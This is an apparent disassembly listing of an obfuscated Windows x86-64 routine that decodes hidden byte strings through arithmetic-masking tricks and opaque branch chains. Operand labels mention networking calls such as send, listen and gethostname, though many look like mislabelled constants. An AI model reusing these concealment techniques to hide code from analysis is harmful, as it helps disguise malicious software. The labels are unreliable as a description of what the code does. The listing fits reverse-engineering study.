jmp 0x14014b786
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014b546
sub r9b, 0x7c
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014b786
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014b56b
sub r9b, 0x42
mov al, r8b
and al, r9b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, r9b
jmp 0x14014b73d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014b58f
add r9b, 0x32
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5e
jmp 0x14014b6e2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014b5ad
lea edx, [r9 - 0x5a]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014b5e5
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014b1e6
lea edx, [r9 + 0x54]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
jmp 0x14014b688
lea edx, [r9 - 0x38]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
add bl, r8b
add bl, dl
sub r9b, 0x1b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x43
add r8b, bl
add r8b, r9b
mov byte [rbp + r11 + 0x310], r8b
jmp 0x14014b6df
lea edx, [r9 + 2]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, r8b
sub bl, 0xe
add bl, dl
jmp 0x14014b712
add r9b, 0x6b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x13
jmp 0x14014b786
lea edx, [r9 - 9]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3f
jmp 0x14014b626
add r9b, 0xf
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x69
jmp 0x14014b6c2
lea edx, [r9 - 0x65]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3d
add bl, dl
sub r9b, 0x55
mov al, r8b
and al, r9b
add al, al
sub r8b, al
add r8b, 0x53
add r8b, r9b
mov byte [rbp + r11 + 0x310], r8b
inc r10
jmp 0x14014b6c2
lea ecx, [r11 - 0x4d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x1b
dec r11
jmp 0x14014b795
lea ecx, [r11 + 0x3f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x47
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14014b795
movabs rcx, 0xbcc4755f07acbfcb
add rcx, r11
and dl, cl
add dl, dl
mov bl, r8b
sub bl, dl
add bl, 0x73
add bl, cl
mov r9b, r11b
add r9b, 0x1f
mov al, r9b
and al, r8b
add al, al
sub r9b, al
add r9b, 0x27
add r9b, r8b
movzx eax, r9b
mov byte [rbp + r11 + 0x310], al
inc r10
add rax, r10
sub r11, rax
lea edx, [r11 + 0x3c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x310], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14014b786
movabs rax, 0x2c54324d4c6e9b57
add rax, r11
and dl, al
add dl, dl
sub r8b, dl
lea ebx, [rax + r8]
sub bl, 0x61
movzx eax, byte [rbp + r11 + 0x310]
add rax, r10
add r11, rax
inc r11
jmp 0x14014adfa
add r9b, 0x11
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r14b
jmp 0x14014adf7
sub r9b, 0x29
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x1f
jmp 0x14014ade7
lea rdx, [rbp + 0x170228c]
jmp 0x14014b7ec
lea rdx, [rbp + 0xffaba9]
jmp 0x14014b7ec
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x4f8]
call fcn.140051148
nop
mov byte [rbp + 0x130], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x131], xmm0
mov word [rbp + 0x141], ax
mov byte [rbp + 0x143], al
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r15d, reloc.WLDAP32.dll_Ordinal_22
xor esi, esi
cmp rsi, 0x14
jae 0x14014c146
movzx r9d, byte [rbp + rsi + 0x130]
mov r11d, r9d
cmp rdi, rsi
ja 0x14014c13d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014b87f
movabs rcx, 0xcadd8ca8d62ae0f2
add rcx, rsi
mov rax, rcx
and rax, r11
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r11
add bl, 0x62
jmp 0x14014b8b9
je 0x14014c0c4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014c07a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014c04b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014c02f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014bfe9
mov r8b, sil
cmp r10, rsi
ja 0x14014c134
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x14014b8dc
lea edx, [r8 - 0x26]
mov ecx, 5
jmp 0x14014ba99
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014bfd3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014bfb7
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014bf9c
lea rax, [r10 + rdi]
cmp rax, rsi
jbe 0x14014bd3d
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14014bd2f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014bd14
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14014bcf9
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014bceb
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014bcdf
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14014bcc4
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014bcab
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14014bc9d
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x61]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14014c115
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14014c0fa
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14014baca
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14014baad
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14014ba90
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14014bc54
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14014bc0f
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14014bbd6
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14014bbb0
lea rdi, [r10 + 0x2a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014bba2
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014bb87
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014bb6e
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14014bb4f
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14014bb33
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14014bb1b
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14014bb00
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14014bae5
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14014b910
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x42]
jmp 0x14014b910
lea edx, [r8 + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014b903
lea edx, [r8 - 0x7e]
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014b8bc
sub r8b, 0x62
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x52
jmp 0x14014b84b
sub r8b, 0x14
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x74
jmp 0x14014c024
add r8b, 8
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x38
jmp 0x14014c027
lea edx, [r8 + 0x24]
mov ecx, 2
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014bf31
add r8b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014c043
add r8b, 0x5c
mov al, r8b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014c06b
lea ecx, [r8 + 0x78]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x48
jmp 0x14014bf6d
sub r8b, 0x6c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0xc
jmp 0x14014c098
sub r8b, 0x50
mov ecx, Ordinal_27
jmp 0x14014bd75
sub r8b, 0xa
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
mov byte [rbp + rsi + 0x130], bl
jmp 0x14014c0f2
lea ecx, [r8 + 0x12]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7e
cmp r10, 0xa
jb 0x14014bbca
lea ecx, [r8 + 0x6c]
mov al, cl
and al, r9b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x14014c004
lea ecx, [r8 + 0x2e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
cmp rdi, 9
jae 0x14014bf1e
lea rcx, [r10 + 5]
cmp rdi, rcx
jbe 0x14014be8b
lea edx, [r8 - 0x7c]
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014bbea
lea ecx, [r8 + 0x4a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 6
lea rax, [r10 + rdi]
cmp rax, 8
je 0x14014bf5d
lea rcx, [r10 + 4]
cmp rdi, rcx
jbe 0x14014bdec
lea edx, [r8 - 0x56]
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014bc23
add r8b, 0x38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14014be5e
lea ecx, [r8 + 0x54]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x14014bf6d
add r8b, 0x70
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x10
jmp 0x14014c06b
sub r8b, 0x74
mov ecx, r15d
jmp 0x14014bb3c
lea edx, [r8 - 0x58]
mov ecx, 0x34
jmp 0x14014bb24
sub r8b, 0x3c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5c
jmp 0x14014c027
sub r8b, 0x20
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x20
jmp 0x14014c024
lea edx, [r8 - 4]
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14014bff5
lea rax, [r10 + 0x2a]
cmp rdi, rax
jae 0x14014bd63
lea edx, [r8 - 0xe]
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014bc68
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014bd8b
sub r8b, 0x4c
mov ecx, 0xa
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014c0e4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014bdad
lea ecx, [r8 + 0x7c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x14014bf6d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014bdd1
add r8b, 0xc
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x54
jmp 0x14014c027
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014bc68
lea edx, [r8 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14014bff5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014be05
mov dl, r8b
sub dl, r12b
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x14014bff5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014be28
add r8b, r12b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1e
jmp 0x14014c024
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014be4c
add r8b, 0x56
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5a
jmp 0x14014c027
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014be74
sub r8b, 0x36
mov ecx, 0x3d
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014c098
cmp rdi, rcx
jne 0x14014bc23
sub r8b, 0x52
mov ecx, Ordinal_33
jmp 0x14014bd75
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014bea2
add r8b, 0x68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14014bd75
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014bec4
lea ecx, [r8 + 0x30]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x14014bf6d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014bedb
sub r8b, 8
mov ecx, Ordinal_32
jmp 0x14014bb3c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014befa
lea ecx, [r8 - 0x24]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14014bf36
cmp rdi, rcx
jne 0x14014bbea
sub r8b, 0x40
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x40
jmp 0x14014c027
lea edx, [r8 + 0x50]
mov al, dl
and al, r9b
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r9b
add r8b, 0x42
mov al, r8b
and al, r9b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
add cl, bl
mov byte [rbp + rsi + 0x130], cl
jmp 0x14014c046
lea ecx, [r8 + 0x34]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [rcx - 0x6c]
add r8b, 0x26
mov al, r9b
and al, r8b
add al, al
mov cl, r9b
sub cl, al
sub cl, 0xa
add cl, r8b
movzx eax, cl
mov byte [rbp + rsi + 0x130], al
inc r10
add rax, r10
sub rsi, rax
jmp 0x14014c098
add r8b, 0x32
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5e
jmp 0x14014c06b
sub r8b, 0x7a
mov al, r8b
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014c027
lea ecx, [r8 - 0x42]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x14014c004
mov r8b, sil
lea edx, [r8 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add r8b, 0x5e
mov al, r8b
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
mov byte [rbp + rsi + 0x130], cl
inc r10
dec rsi
jmp 0x14014c0f2
lea edx, [rsi + 0x66]
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r10
jmp 0x14014c06b
movabs rcx, 0x21c9f1ef8781e882
add rcx, rsi
and r11b, cl
mov eax, reloc.WS2_32.dll_gethostname
sub al, r11b
lea ebx, [rax + rax]
add bl, r9b
add bl, cl
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
jmp 0x14014c0f2
movabs rcx, 0xf653bf4c2ed664ba
add rcx, rsi
and r11b, cl
add r11b, r11b
mov bl, r9b
sub bl, r11b
add bl, cl
sub bl, r15b
lea edx, [rsi + 0x18]
mov al, r9b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + rsi + 0x130], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add rsi, rax
jmp 0x14014c0e4
movabs rcx, 0x6098a5fa8280a2d6
add rcx, rsi
and r11b, cl
mov eax, reloc.WS2_32.dll_send
sub al, r11b
lea ebx, [rax + rax]
add bl, r9b
add bl, cl
movzx eax, byte [rbp + rsi + 0x130]
add rax, r10
add rsi, rax
inc rsi
jmp 0x14014b835
sub r8b, 0x46
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, r15b
jmp 0x14014b833
sub r8b, 0x2a
mov al, r9b
and al, r8b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x14014b81d
lea rdx, [rbp + 0x14f23c8]
jmp 0x14014c14d
lea rdx, [rbp + 0xfa04ba]
jmp 0x14014c14d
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x4d8]
call fcn.140051148
nop
mov byte [rbp + 0x170], 0xeb
mov byte [rbp + 0x171], 0xed
mov byte [rbp + 0x172], 0xe9
mov byte [rbp + 0x173], 0xed
mov byte [rbp + 0x174], 0xea
mov byte [rbp + 0x175], reloc.WS2_32.dll_listen
mov byte [rbp + 0x176], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x177], 0xdf
xor eax, eax
mov qword [rbp + 0x178], rax
mov byte [rbp + 0x180], al
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x11
jae 0x14014cbff
movzx r9d, byte [rbp + r11 + 0x170]
mov edx, r9d
cmp rdi, r11
ja 0x14014cbf6
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014c202
movabs rcx, 0x400e082b2595e87b
add rcx, r11
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x5d
jmp 0x14014c22f
je 0x14014cb84
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014cb11
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014cae9
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014caa9
mov r8b, r11b
cmp r10, r11
ja 0x14014cbed
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x14014c25a
lea ecx, [r8 + 0x17]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x5f
jmp 0x14014c2a8
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014ca93
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014ca5c
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014ca41
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014ca26
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014ca0d
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014c9f2
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14014c75e
lea rcx, [r10 + 0x5a]
cmp rdi, rcx
je 0x14014c741
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14014c722
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014c707
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014c6ee
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014c6d0
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14014c6b1
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14014c698
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014c67d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014c65e
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x14014c2b5
mov rdi, rcx
lea r10, [rcx + 0x400]
lea rcx, [r10 + 0x42]
cmp rdi, rcx
jb 0x14014cbd2
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14014cbb7
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14014c4a4
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14014c48b
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14014c472
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014c619
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014c5d4
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14014c59e
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14014c57b
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014c2b5
mov rdi, rcx
lea r10, [rcx + 0xa]
lea rcx, [r10 + 4]
cmp rdi, rcx
ja 0x14014c560
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14014c552
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14014c544
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14014c52a
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14014c50f
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14014c501
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014c4f3
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14014c4d8
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014c4bf
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14014c2b5
mov rdi, rcx
lea r10, [rcx + 0x5a]
jmp 0x14014c2b5
lea ecx, [r8 - 0x37]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7f
jmp 0x14014c2a8
lea ecx, [r8 - 0x2d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x3b
jmp 0x14014c232
sub r8b, 0x23
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0xb
jmp 0x14014c1ce
lea ecx, [r8 - 0x48]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x14014cac0
sub r8b, 0x3e
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r13b
jmp 0x14014cade
sub r8b, 0x34
mov ecx, gethostname
jmp 0x14014c807
lea edx, [r8 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
jmp 0x14014c7e1
sub r8b, 0x20
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x20
jmp 0x14014cafc
sub r8b, r15b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x66
jmp 0x14014caff
lea edx, [r8 - 0xc]
mov ecx, Ordinal_45
jmp 0x14014c95f
sub r8b, 2
mov ecx, 7
jmp 0x14014c7b9
add r8b, 8
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x38
jmp 0x14014cba0
sub r8b, 0x5f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x67
mov byte [rbp + r11 + 0x170], bl
jmp 0x14014cbaf
lea ecx, [r8 - 0x55]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x53
cmp r10, 0x61
jb 0x14014c591
lea ecx, [r8 + 2]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x1c]
jmp 0x14014cac0
lea ecx, [r8 - 0x4b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0xd
cmp rdi, 6
jae 0x14014c9bd
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14014c93d
lea edx, [r8 + 0x66]
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014c5b2
lea ecx, [r8 - 0x41]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x39
lea rax, [r10 + rdi]
cmp rax, 8
je 0x14014c9d8
lea rax, [r10 + 0x20]
cmp rdi, rax
jbe 0x14014c843
lea ecx, [r8 + 0x4f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x29
jmp 0x14014c5e8
sub r8b, 0x76
mov ecx, Ordinal_33
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014cba0
sub r8b, 0x6c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0xc
jmp 0x14014cb5a
lea ecx, [r8 - 0x62]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
jmp 0x14014cb2f
sub r8b, 0x58
mov al, r8b
and al, r9b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014caff
sub r8b, r13b
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014cafc
lea ecx, [r8 - 0x44]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x14014ca70
sub r8b, 0x3a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x6a
jmp 0x14014cae1
sub r8b, 0x30
mov al, r8b
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014cade
lea edx, [r8 - 0x26]
mov al, dl
and al, r9b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014cac0
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x14014c783
lea ecx, [r8 + 0x7b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5d
jmp 0x14014c62d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014c7a7
add r8b, 0x2e
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x42
jmp 0x14014cba0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014c7cf
add r8b, 0x24
mov ecx, 2
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014cb5a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014c7f5
lea edx, [r8 - 4]
mov ecx, reloc.WS2_32.dll_ntohl
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014ca70
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014c81d
sub r8b, 0xe
mov ecx, Ordinal_50
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014cae1
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014c62d
lea ecx, [r8 - 0x22]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x12
jmp 0x14014cac0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014c865
lea ecx, [r8 + 0x45]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x1d
jmp 0x14014cac0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014c889
add r8b, 0x31
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
